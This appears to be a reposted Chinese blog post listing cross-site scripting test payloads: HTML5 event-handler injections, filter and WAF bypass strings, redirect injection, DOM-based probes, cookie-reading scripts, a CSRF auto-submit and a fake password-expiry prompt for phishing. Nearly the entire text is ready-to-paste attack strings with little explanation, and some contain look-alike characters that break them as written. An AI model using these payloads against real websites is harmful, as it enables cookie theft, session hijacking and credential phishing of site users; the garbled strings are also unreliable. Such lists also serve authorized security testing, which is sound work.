XSS测试代码

mac2022-06-30 176

无script的Xss

HTML5 XSS测试代码

<video> <source οnerrοr=”javascript:alert(1)”> 引入媒体类测试代码Example: <video οnerrοr=”javascript:alert(1)”><source> <audio οnerrοr=”javascript:alert(1)”><source> <input autofocus οnfοcus=alert(1)> <select autofocus οnfοcus=alert(1)> <textarea autofocus οnfοcus=alert(1)> <keygen autofocus οnfοcus=alert(1)> 表单点击测试代码Example: <button form=test onformchange=alert(2)>X <form><button formaction=”javascript:alert(1)”>

ByPass

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 <base href="javascript:\"> <a href="// alert(/1/);//">link</a> javascript:/*--></title></style></textarea></script></xmp><svg/οnlοad='+/"/+/οnmοuseοver=1/+/[*/[]/+alert(1)//'>

CSP & WAF Bypass

重定向攻击代码:

';redirecturl='javascript:alert("XSS") ';redirecturl='http://google.com/'

Example: www.xyz.com?q="XSS Script"

"/>alert("Xss:Priyanshu") "/></script><script>alert(/XSS : Priyanshu/)</script> <body οnlοad=alert(1)> "<body οnlοad="alert('XSS by Priyanshu')"> "></style</script><script>confirm("XSS By Priyanshu")</script> <body οnlοad=document.getElementById("xsrf").submit()> <a href="data:text/html;based64_,<svg/οnlοad=\u0061l&101rt(1)>">X</a <a href="data:text/html;based64_,<svg/οnlοad=\u0061l&101rt(document.cookie)>">X</a http://test.com<script>alert(document.domain)</script> http://test.com<script>alert(document.cookie)</script> <img src=x οnerrοr=alert(document.domain)> x"></script><img src=x οnerrοr=alert(1)> q=" οnclick="alert(/XSS/) "><iframe src='javascript:prompt(/XSS/);'> <iframe src="http://google.com"></iframe> "><iframe src=a οnlοad=alert('XSS')< </script><script>alert(document.cookie)</script> <xss>alert('xss')</xss> <iframe src="http://google.com"></iframe> DOM Based XSS Scripts /default.aspx#"><img src=x οnerrοr=prompt('XSS');> /default.aspx#"><img src=x οnerrοr=prompt('0');> <img src=x οnerrοr=prompt(1);> by "> “><img src=x οnerrοr=prompt(0)>.txt.jpg “><img src=x οnerrοr=alert(document.cookie)> "><img src=x οnerrοr=prompt(1);> "><script>alert('XSS')</script> id=abc"><Script>alert(/xss/)</SCRIPT> "><img src=" " onMouseover=prompt(/xss/);> Default.aspx/" οnmοuseοut="confirm(1)'x="

欺骗会话

http://localhost/test.php?title=TITLE</title><script>var a = prompt('密码已经过期，请重新输入密码');alert(a);</script>

转载于:https://www.cnblogs.com/ssooking/p/6542333.html